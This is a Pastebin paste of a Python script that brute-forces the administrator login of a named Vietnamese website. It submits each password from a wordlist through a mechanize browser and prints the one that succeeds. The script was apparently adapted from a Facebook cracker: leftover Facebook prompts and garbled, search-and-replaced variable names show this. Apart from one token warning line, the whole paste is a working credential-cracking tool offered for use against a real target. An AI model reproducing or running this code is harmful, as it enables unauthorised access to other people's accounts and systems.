thieumao

galaxy2.py

Oct 1st, 2013
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.20 KB | None | 0 0
  1. #!usr/bin/python
  2.  
  3. import sys
  4. import random
  5. import mechanize
  6. import cookielib
  7.  
  8.  
  9. GHT = '''
  10.    /\ _  /\___       /\___/\_____ /\___ __
  11.   /  \/ \/  __/QQ  /\/  __/  __/__/  __//_/
  12.   \  \ \ _/ /\ /  \ _/ \_  \|  \_  \
  13.   / \  .// _/  \/ _  \ _  \ \ | \ \
  14. _ /  /\ // \/ \ \ /  ./\/ \\/ ./  |\/ ./
  15. \\\_/  \/\__ //\/\/\ //\___/_ //|__|_ //
  16. -=Presents=\/======\/=======\/======\/=-
  17. '''
  18. print ("Warning - do not use this tool without the permission of the Facebook account holder")
  19. print ("Hit CTRL+C to quit the program")
  20.  
  21. modlgn_username = str(raw_input("Enter the Facebook modlgn_username account you want to crack : "))
  22. modlgn_passwdwordlist = str(raw_input("Enter the name of the modlgn_passwdword list file : "))
  23.  
  24. useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
  25.  
  26.  
  27.  
  28. login = 'http://galaxy.com.vn/administrator/index.php'
  29. def attack(modlgn_passwdword):
  30.  
  31.   try:
  32.      sys.stdout.write("\r[*] trying %s.. " % modlgn_passwdword)
  33.      sys.stdout.flush()
  34.      br.addheaders = [('User-agent', random.choice(useragents))]
  35.      site = br.open(login)
  36.      br.select_form(nr=0)
  37.  
  38.  
  39.      ##Facebook
  40.      br.form['modlgn_username'] =modlgn_username
  41.      br.form['modlgn_passwd'] = modlgn_passwdword
  42.      br.submit()
  43.      log = br.geturl()
  44.      if log != login:
  45.         print ("\n\n\n [*] modlgn_passwdword found .. !!")
  46.         print ("\n [*] modlgn_passwdword : %s\n" % (modlgn_passwdword))
  47.         sys.exit(1)
  48.   except KeyboardInterrupt:
  49.         print ("\n[*] Exiting program .. ")
  50.         sys.exit(1)
  51.  
  52. def search():
  53.     global modlgn_passwdword
  54.     for modlgn_passwdword in modlgn_passwdwords:
  55.         attack(modlgn_passwdword.replace("\n",""))
  56.  
  57.  
  58.  
  59. def check():
  60.  
  61.     global br
  62.     global modlgn_passwdwords
  63.     try:
  64.        br = mechanize.Browser()
  65.        cj = cookielib.LWPCookieJar()
  66.        br.set_handle_robots(False)
  67.        br.set_handle_equiv(True)
  68.        br.set_handle_referer(True)
  69.        br.set_handle_redirect(True)
  70.        br.set_cookiejar(cj)
  71.        br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  72.     except KeyboardInterrupt:
  73.        print ("\n[*] Exiting program ..\n")
  74.        sys.exit(1)
  75.     try:
  76.        list = open(modlgn_passwdwordlist, "r")
  77.        modlgn_passwdwords = list.readlines()
  78.        k = 0
  79.        while k < len(modlgn_passwdwords):
  80.           modlgn_passwdwords[k] = modlgn_passwdwords[k].strip()
  81.           k += 1
  82.     except IOError:
  83.         print ("\n [*] Error: check your modlgn_passwdword list path \n")
  84.         sys.exit(1)
  85.     except KeyboardInterrupt:
  86.         print ("\n [*] Exiting program ..\n")
  87.         sys.exit(1)
  88.     try:
  89.         print (GHT)
  90.         print (" [*] modlgn_username to crack : %s" % (modlgn_username))
  91.         print (" [*] Loaded :" , len(modlgn_passwdwords), "modlgn_passwdwords")
  92.         print (" [*] Cracking, please wait ...")
  93.     except KeyboardInterrupt:
  94.         print ("\n [*] Exiting program ..\n")
  95.         sys.exit(1)
  96.     try:
  97.         search()
  98.         attack(modlgn_passwdword)
  99.     except KeyboardInterrupt:
  100.         print ("\n [*] Exiting program ..\n")
  101.         sys.exit(1)
  102.  
  103. if __name__ == '__main__':
  104.     check()
Advertisement
Add Comment
Please, Sign In to add comment